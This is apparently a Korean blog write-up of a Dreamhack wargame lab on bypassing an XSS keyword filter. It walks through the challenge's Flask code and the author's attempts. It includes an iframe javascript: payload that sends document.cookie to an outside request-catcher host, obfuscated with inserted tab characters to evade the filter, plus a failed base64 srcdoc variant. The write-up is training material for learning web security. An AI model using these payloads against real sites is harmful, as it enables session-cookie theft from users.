[Dreamhack] STAGE2. XSS Filtering Bypass 혼자실습
- xss filtering bypass advanced
Web Hacking [혼자실습] xss filtering bypass advanced
웹 구조
- /flag 에서 공격 스크립트 입력
- check_xss 함수에서 url 생성 (memo 페이지는 render_template을 사용하기에, vuln으로 접근하도록)
- read_url 함수에서 url 전달여부 판단
- /vuln 접근 시 실행되는 vuln 함수에서 xss_filter 진행
flag
GET 메소드 시, 스크립트를 입력할 수 있는 flag.html로 연결
POST 메소드 시, 입력된 값을 파라미터로 하여, check_xss 함수로 전달 (cookie에 flag 정보가 들어감)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
check_xss 함수
vuln으로 가는 url을 생성하여 read_url 함수로 전달
* urllib 라이브러리 추가 정보
종류 | 설명 |
---|---|
urllib.request | url을 열거나, 요청 전달 |
urllib.error | urllib.request 모듈에서 발생하는 예외 클래스 포함 |
urllib.parse | url 문자열의 구문 분석과 관련된 작업 수행 |
urllib.robotparser | robot.txt 파일을 구문 분석 |
urllib.parse.quote() : 아스키코드 형식이 아닌 글자를 URL 인코딩한다
아래 코드에서는, string으로 전달된 param 변수를 urllib.parse.quote() 을 통해 URL 인코딩하여 기존 주소에 붙여 전달한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
xss_filter 함수
해당 함수의 반복문을 보면, 필터링 문자열이 제거될 때까지 검사를 진행하지는 않으나, 필터링 문자열이 존재할 경우 “filtered!!!” 를 반환한다. 따라서, 앞선 함께실습에서 진행한 locatioonn 같은, 키워드 안에 키워드를 삽입하는 우회방법은 사용할 수 없다.
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
필터링 되는 문자
n차 필터링 | 해당 문자열 |
---|---|
1차 | script, on, javascript |
2차 | window, self, this, document, location, (, ), &# |
기본적으로 전달해야하는 스크립트 내용
<script>document.location.href = "/memo?memo=" + document.cookie;</script>
익스플로잇
-
부모의 cookie를 탈취해야함
-
태그는 % 를 사용해 인코딩할 시 태그의 기능을 잃음
-
img, iframe 과 같이 js를 실행 가능한 다른 태그를 사용해야함. script 태그 사용 불가
다음과 같이 작성해보았으나 작동 X : data:// url은 origin이 null이므로 sop에 의해 상위 프레임 탐색이 차단되어, 쿠키 탈취가 되지 않음
<iframe srcdoc="data:base64;,PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gIi9tZW1vP21lbW89IiArIGRvY3VtZW50LmNvb2tpZTs8L3NjcmlwdD4="></iframe>
check_xss로 전달 -> url 형태로 인코딩하여 read_url 전달 -> 필터링 진행(소문자로 바꾸어서)
아래 코드를 전달해야하는데 어떻게 필터링을 해야할까
<iframe src="javascript:location.href='https://pgzkthr.request.dreamhack.games/memo?memo='+document.cookie">
인코딩을 진행하면 아래와 같이 나옴 -> 일단 javascript, location, document에 대한 필터링 필요
%3ciframe+src%3d%22javascript%3alocation.href%3d%27https%3a%2f%2fpgzkthr.request.dreamhack.games%2fmemo%3fmemo%3d%27%2bdocument.cookie%22%3e
인코딩 했을 때 값이 나와야하므로 아래 코드를 디코딩하여 전달
<iframe src="javascrip%09t:locatio%09n.href=%27https://pgzkthr.request.dreamhack.games/memo?memo=%27%2bdocumen%09t.cookie">
문제
과정에 상세히 기재되지는 않았지만 정말 모든 필터링을 다 시도해봤는데 인코딩되었을 때 필터링 형태가 반환되어야한다는 것을 생각하지 못함. 내가 넣은 아스키, 또는 유니코드 필터링들을 미리 디코딩해서 넣고, 인코딩 시 해당 형태가 반환되도록 하여 그 후 디코딩에서 해석되도록 만들었어야 했다. 이 방법을 미리 생각했다면 기존에 시도했던 많은 형태들도 작동됐을 것 같다는 생각이 들어 아쉬움이 남는다. 해당 문자들을 디코딩하여 넣어보긴 했으나, 디코더를 사용한 것이 아니라 수기로 디코딩을 진행했었는데 무언가 빠졌다거나 하는 문제가 발생했던 것 같다
결론 : 진작에 디코더 쓸 걸